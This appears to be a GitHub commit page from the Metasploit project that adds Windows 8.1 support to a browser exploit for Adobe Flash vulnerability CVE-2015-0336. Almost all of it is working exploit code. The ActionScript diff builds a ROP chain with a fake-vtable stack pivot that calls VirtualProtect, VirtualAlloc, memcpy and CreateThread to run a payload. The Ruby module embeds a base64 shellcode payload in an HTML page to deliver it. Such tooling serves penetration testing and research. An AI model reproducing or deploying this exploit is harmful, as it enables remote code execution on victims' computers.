Skip to content

Commit 098f31c

Browse files
jvazquez-r7jvazquez-r7
committed
Land support for Windows 8.1
2 parents 74117a7 + 80cb70c commit 098f31c

File tree

4 files changed

+93
-15
lines changed

4 files changed

+93
-15
lines changed

‎data/exploits/CVE-2015-0336/msf.swf

192 Bytes
Binary file not shown.

‎external/source/exploits/CVE-2015-0336/Exploit.as

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,12 +30,14 @@ package
3030
private var b64:Base64Decoder = new Base64Decoder()
3131
private var payload:ByteArray
3232
private var platform:String
33+
private var os:String
3334
private var original_length:uint = 0
3435

3536
public function Exploit()
3637
{
3738
var i:uint = 0
3839
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
40+
os = LoaderInfo(this.root.loaderInfo).parameters.os
3941
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
4042
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
4143
var pattern:RegExp = / /g;
@@ -118,8 +120,9 @@ package
118120
return
119121
}
120122

121-
exploiter = new Exploiter(this, platform, payload, uv)
123+
exploiter = new Exploiter(this, platform, os, payload, uv)
122124
}
125+
123126
}
124127
}
125128

‎external/source/exploits/CVE-2015-0336/Exploiter.as

Lines changed: 84 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ package
1111
private var eba:ExploitByteArray
1212
private var payload:ByteArray
1313
private var platform:String
14+
private var op_system:String
1415
private var pos:uint
1516
private var byte_array_object:uint
1617
private var main:uint
@@ -25,11 +26,12 @@ package
2526
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2627
private var spray:Vector.<Object> = new Vector.<Object>(89698)
2728

28-
public function Exploiter(exp:Exploit, pl:String, p: ByteArray, uv:Vector.<uint>):void
29+
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
2930
{
3031
exploit = exp
3132
payload = p
3233
platform = pl
34+
op_system = os
3335

3436
ev = new ExploitVector(uv)
3537
if (!ev.is_ready()) return
@@ -133,12 +135,19 @@ package
133135
private function do_rop():void
134136
{
135137
Logger.log("[*] Exploiter - do_rop()")
136-
if (platform == "linux")
138+
if (platform == "linux") {
137139
do_rop_linux()
138-
else if (platform == "win")
139-
do_rop_windows()
140-
else
140+
} else if (platform == "win") {
141+
if (op_system == "Windows 8.1") {
142+
do_rop_windows8()
143+
} else if (op_system == "Windows 7") {
144+
do_rop_windows()
145+
} else {
146+
return
147+
}
148+
} else {
141149
return
150+
}
142151
}
143152

144153
private function do_rop_windows():void
@@ -150,7 +159,6 @@ package
150159
var kernel32:uint = pe.module("kernel32.dll", winmm)
151160
var ntdll:uint = pe.module("ntdll.dll", kernel32)
152161
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
153-
var winexec:uint = pe.procedure("WinExec", kernel32)
154162
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
155163
var createthread:uint = pe.procedure("CreateThread", kernel32)
156164
var memcpy:uint = pe.procedure("memcpy", ntdll)
@@ -182,14 +190,14 @@ package
182190

183191
// VirtualAlloc
184192
eba.write(0, memcpy)
185-
eba.write(0, 0x70000000)
193+
eba.write(0, 0x7f6e0000)
186194
eba.write(0, 0x4000)
187195
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
188196
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
189197

190198
// memcpy
191199
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
192-
eba.write(0, 0x70000000)
200+
eba.write(0, 0x7f6e0000)
193201
eba.write(0, payload_address + 8)
194202
eba.write(0, payload.length)
195203

@@ -198,7 +206,7 @@ package
198206
eba.write(0, buffer + 0x10) // return to fix things
199207
eba.write(0, 0)
200208
eba.write(0, 0)
201-
eba.write(0, 0x70000000)
209+
eba.write(0, 0x7f6e0000)
202210
eba.write(0, 0)
203211
eba.write(0, 0)
204212
eba.write(0, 0)
@@ -207,6 +215,73 @@ package
207215
exploit.toString() // call method in the fake vtable
208216
}
209217

218+
private function do_rop_windows8():void
219+
{
220+
Logger.log("[*] Exploiter - do_rop_windows8()")
221+
var pe:PE = new PE(eba)
222+
var flash:uint = pe.base(vtable)
223+
var winmm:uint = pe.module("winmm.dll", flash)
224+
var advapi32:uint = pe.module("advapi32.dll", flash)
225+
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226+
var kernel32:uint = pe.module("kernel32.dll", winmm)
227+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228+
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230+
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231+
var memcpy:uint = pe.procedure("memcpy", ntdll)
232+
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233+
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235+
236+
// Continuation of execution
237+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238+
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239+
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240+
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241+
242+
// Put the payload (command) in memory
243+
eba.write(payload_address + 8, payload, true); // payload
244+
245+
// Put the fake vtabe / stack on memory
246+
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247+
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248+
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249+
eba.write(0, virtualprotect)
250+
251+
// VirtualProtect
252+
eba.write(0, virtualalloc)
253+
eba.write(0, buffer + 0x10)
254+
eba.write(0, 0x1000)
255+
eba.write(0, 0x40)
256+
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257+
258+
// VirtualAlloc
259+
eba.write(0, memcpy)
260+
eba.write(0, 0x7ffd0000)
261+
eba.write(0, 0x4000)
262+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264+
265+
// memcpy
266+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267+
eba.write(0, 0x7ffd0000)
268+
eba.write(0, payload_address + 8)
269+
eba.write(0, payload.length)
270+
271+
// CreateThread
272+
eba.write(0, createthread)
273+
eba.write(0, buffer + 0x10) // return to fix things
274+
eba.write(0, 0)
275+
eba.write(0, 0)
276+
eba.write(0, 0x7ffd0000)
277+
eba.write(0, 0)
278+
eba.write(0, 0)
279+
eba.write(0, 0)
280+
281+
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
282+
exploit.toString() // call method in the fake vtable
283+
}
284+
210285
private function do_rop_linux():void
211286
{
212287
Logger.log("[*] Exploiter - do_rop_linux()")
@@ -241,8 +316,6 @@ package
241316
eba.write(0, "\x5f", false) // pop edi
242317
eba.write(0, "\x5e", false) // pop esi
243318
eba.write(0, "\xc3", false) // ret
244-
245-
// eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false)
246319

247320
// Put the popen parameters in memory
248321
eba.write(payload_address + 0x8, payload, true) // false

‎modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,8 @@ def initialize(info={})
5151
:arch => ARCH_X86,
5252
:os_name => lambda do |os|
5353
os =~ OperatingSystems::Match::LINUX ||
54-
os =~ OperatingSystems::Match::WINDOWS_7
54+
os =~ OperatingSystems::Match::WINDOWS_7 ||
55+
os =~ OperatingSystems::Match::WINDOWS_81
5556
end,
5657
:ua_name => lambda do |ua|
5758
case target.name
@@ -116,6 +117,7 @@ def exploit_template(cli, target_info)
116117
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
117118
target_payload = get_payload(cli, target_info)
118119
b64_payload = Rex::Text.encode_base64(target_payload)
120+
os_name = target_info[:os_name]
119121

120122
if target.name =~ /Windows/
121123
platform_id = 'win'
@@ -130,9 +132,9 @@ def exploit_template(cli, target_info)
130132
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
131133
<param name="movie" value="<%=swf_random%>" />
132134
<param name="allowScriptAccess" value="always" />
133-
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" />
135+
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>&tr=<%=trigger_hex_stream%>" />
134136
<param name="Play" value="true" />
135-
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" Play="true"/>
137+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>&tr=<%=trigger_hex_stream%>" Play="true"/>
136138
</object>
137139
</body>
138140
</html>

0 commit comments

Comments
 (0)